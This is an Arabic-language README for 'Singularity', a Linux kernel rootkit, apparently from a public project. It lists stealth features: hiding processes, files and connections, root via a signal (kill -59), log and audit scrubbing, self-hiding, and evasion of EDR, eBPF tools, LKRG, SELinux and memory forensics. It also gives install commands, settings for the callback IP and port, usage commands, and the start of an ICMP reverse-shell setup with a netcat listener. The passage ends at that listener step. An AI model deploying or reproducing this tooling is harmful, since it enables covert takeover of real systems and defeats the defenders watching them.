Singularity - روتكيت نواة لينكس خفي
"هل نمنح الطب الشرعي القليل من العمل؟"
Singularity هو روتكيت قوي لوحدة نواة لينكس (LKM) مصمم لنواة 6.x الحديثة. يوفر قدرات تخفي شاملة من خلال اعتراض استدعاءات النظام المتقدم عبر بنية ftrace التحتية.
مقال البحث الكامل (نسخة قديمة): Singularity: A Final Boss Linux Kernel Rootkit
دراسة حالة تجنب EDR: Bypassing Elastic EDR with Singularity
فيديو POC: Singularity ضد أدوات أمان eBPF: Singularity vs eBPF security tools
اختراق أمان eBPF باستخدام خطافات Singularity: Breaking eBPF
Singularity Rootkit: تجنب كشف تحميل وحدة Elastic Defend Bypassing Elastic Defend
ما هو Singularity؟
Singularity هو روتكيت متطور يعمل على مستوى النواة، ويوفر:
- إخفاء العمليات: اجعل أي عملية غير مرئية تمامًا للنظام
- إخفاء الملفات والمجلدات: إخفاء الملفات باستخدام مطابقة الأنماط
- تخفي الشبكة: إخفاء اتصالات TCP/UDP والمنافذ ومدخلات conntrack
- رفع الصلاحيات: وصول فوري للجذر عبر الإشارات
- تعقيم السجلات: تصفية سجلات النواة وسجلات النظام في الوقت الفعلي
- الإخفاء الذاتي: إزالة نفسه من قوائم الوحدات ومراقبة النظام
- الوصول عن بُعد: صدفة عكسية مُفعّلة بـ ICMP مع إخفاء تلقائي
- مكافحة الكشف: تجنب أدوات الأمان وقت التشغيل القائمة على eBPF (Falco، Tracee)، وتجاوز Linux Kernel Runtime Guard (LKRG)، ومنع محاولات تجاوز io_uring
- تجنب التدقيق: إسقاط رسائل التدقيق للعمليات المخفية على مستوى netlink مع تتبع الإحصائيات وتصفية inode المقبس
- تجنب الطب الشرعي للذاكرة: حظر استحواذ LiME و AVML؛ تصفير صفحات الوحدة و task_structs المخفية في التفريغات الفيزيائية؛ تصفية /proc/kcore، /proc/kallsyms، /proc/vmallocinfo
- تصفية Cgroup: تصفية PIDs المخفية من cgroup.procs
- تجنب Syslog: اعتراض do_syslog لتصفية وصول klogctl() إلى حلقة مخزن النواة
- تجنب Debugfs: تصفية مخرجات أدوات مثل debugfs التي تقرأ أجهزة الكتل الخام
- تصفية Conntrack: إخفاء الاتصالات من /proc/net/nf_conntrack واستعلامات netlink SOCK_DIAG/NETFILTER
- تجنب SELinux: تجاوز تلقائي لوضع فرض SELinux عند تفعيل ICMP
- تجاوز LKRG: تجنب آليات كشف Linux Kernel Runtime Guard
- تجاوز أمان eBPF: إخفاء العمليات من أدوات الأمان وقت التشغيل القائمة على eBPF (Falco، Tracee)
الميزات
- رفع الصلاحيات عبر الإشارات (kill -59)
- إخفاء كامل للعمليات من /proc وأدوات المراقبة
- إخفاء نظام الملفات القائم على الأنماط للملفات والمجلدات
- إخفاء اتصالات الشبكة من netstat، ss، conntrack، ومحللات الحزم
- تصفية netlink متقدمة (SOCK_DIAG، رسائل NETFILTER/conntrack)
- تصفية سجلات النواة في الوقت الفعلي لـ dmesg، journalctl، و klogctl
- إخفاء ذاتي للوحدة من lsmod و /sys/module
- تطبيع تلقائي لعلم تلوث النواة
- تصفية بيانات BPF لمنع الكشف القائم على eBPF
- حماية io_uring ضد تجاوز الإدخال/الإخراج غير المتزامن
- إخفاء السجلات لرسائل النواة وسجلات النظام
- تجنب كاشفات الروتكيت القياسية (unhide، chkrootkit، rkhunter)
- تتبع وإخفاء تلقائي للعمليات الفرعية عبر خطافات tracepoint
- دعم متعدد المعماريات (x64 + ia32)
- تصفية على مستوى حزم الشبكة مع حماية المقبس الخام
- حماية ضد جميع أنواع إدخال/إخراج الملفات (read، write، splice، sendfile، tee، copy_file_range)
- تصفية رسائل التدقيق على مستوى netlink مع تتبع الإحصائيات لتجنب كشف auditd
- تتبع inode المقبس لإخفاء شبكة شامل
- تصفية PID في Cgroup لمنع الكشف عبر
/sys/fs/cgroup/*/cgroup.procs
- حظر TaskStats netlink لمنع تعداد PID
- مقاومة استحواذ الذاكرة الفيزيائية: kprobe على
copy_mc_to_kernel يعترض نسخ صفحات LiME ويعيد توجيه صفحات الوحدة ونطاقات task_struct المخفية إلى مخازن مُصفّرة؛ حظر AVML عبر خطاف قراءة /proc/kcore
- تصفية قراءة /proc/kcore، /proc/kallsyms، /proc/vmallocinfo
- خطاف do_syslog لتصفية klogctl() ومنع تسريبات حلقة مخزن النواة
- تصفية مخرجات جهاز الكتل لتجنب debugfs وأدوات الطب الشرعي المماثلة للقرص
- تصفية مخرجات journalctl -k عبر خطاف الكتابة
- قدرة تجاوز وضع فرض SELinux للأصداف المُفعّلة بـ ICMP
- تجاوز فحوصات سلامة LKRG للعمليات المخفية
- إخفاء أحداث Falco عبر BPF ringbuffer واعتراض أحداث perf
التثبيت
المتطلبات الأساسية
- نواة لينكس 6.x
- ترويسات النواة لنواتك قيد التشغيل
- GCC و Make
- صلاحيات الجذر
تثبيت سريع
cd /dev/shm
git clone https://github.com/MatheuZSecurity/Singularity
cd Singularity
sudo bash setup.sh
cd ..
هذا كل شيء. تقوم الوحدة تلقائيًا بما يلي:
- إخفاء نفسها من lsmod و/proc/modules و/sys/module
- مسح علامات تلوث النواة
- تصفية السلاسل النصية الحساسة من dmesg وjournalctl -k وklogctl
- البدء في حماية ملفاتك وعملياتك المخفية
ملاحظات مهمة
تقوم الوحدة بإخفاء نفسها تلقائيًا بعد التحميل
لا توجد ميزة إلغاء التحميل - يلزم إعادة التشغيل للإزالة
اختبر في جهاز افتراضي أولاً - لا يمكن إزالتها دون إعادة التشغيل
الإعدادات
تعيين عنوان IP والمنفذ للخادم
حرّر include/core.h:
#define YOUR_SRV_IP "192.168.1.100" // Change this to your server IP
#define YOUR_SRV_IPv6 { .s6_addr = { [15] = 1 } } // IPv6 if needed
حرّر modules/icmp.c:
#define SRV_PORT "8081" // Change this to your desired port
حرّر modules/bpf_hook.c:
#define HIDDEN_PORT 8081 // Must match SRV_PORT
حرّر modules/hiding_tcp.c:
#define PORT 8081 // Must match SRV_PORT
مهم: يجب أن تتطابق جميع تعريفات المنافذ لضمان إخفاء الشبكة بشكل صحيح ووظيفة ICMP reverse shell.
الاستخدام
إخفاء العمليات
# Hide current shell
kill -59 $$
# Hide specific process
kill -59 <PID>
ستكون العملية غير مرئية لـ ps و top و htop و /proc وجميع أدوات المراقبة. يتم تتبع جميع العمليات الفرعية وإخفاؤها تلقائيًا.
إخفاء الملفات والمجلدات
يتم إخفاء الملفات المطابقة لأنماطك المُهيأة تلقائيًا:
mkdir singularity
echo "secret" > singularity/data.txt
# Invisible to ls, find, locate
ls -la | grep singularity
# (no output)
# But you can still access it
cat singularity/data.txt
# secret
# cd is blocked for security
cd singularity
# bash: cd: singularity: No such file or directory
كن مستخدمًا جذرًا
الطريقة المعتمدة على الإشارات:
kill -59 $$
id # uid=0(root)
إخفاء اتصالات الشبكة
يتم إخفاء الاتصالات على المنفذ الذي قمت بتكوينه (الافتراضي: 8081) تلقائيًا:
nc -lvnp 8081
# Invisible to all monitoring
ss -tulpn | grep 8081 # (no output)
netstat -tulpn | grep 8081 # (no output)
lsof -i :8081 # (no output)
cat /proc/net/nf_conntrack | grep 8081 # (no output)
# Even advanced netlink queries are filtered
ss -tapen | grep 8081 # (no output)
conntrack -L | grep 8081 # (no output)
يتم إسقاط الحزم على مستوى المقبس الخام (tpacket_rcv) وإخفاؤها من:
- واجهات /proc/net/* (tcp، tcp6، udp، udp6)
- /proc/net/nf_conntrack
- استعلامات Netlink SOCK_DIAG (المستخدمة بواسطة ss، lsof)
- رسائل Netlink NETFILTER/conntrack (المستخدمة بواسطة أداة conntrack)
ICMP Reverse Shell
تشغيل reverse shell مخفي عن بُعد مع تجاوز SELinux تلقائيًا:
1. بدء المستمع:
nc -lvnp 8081 # Use your configured port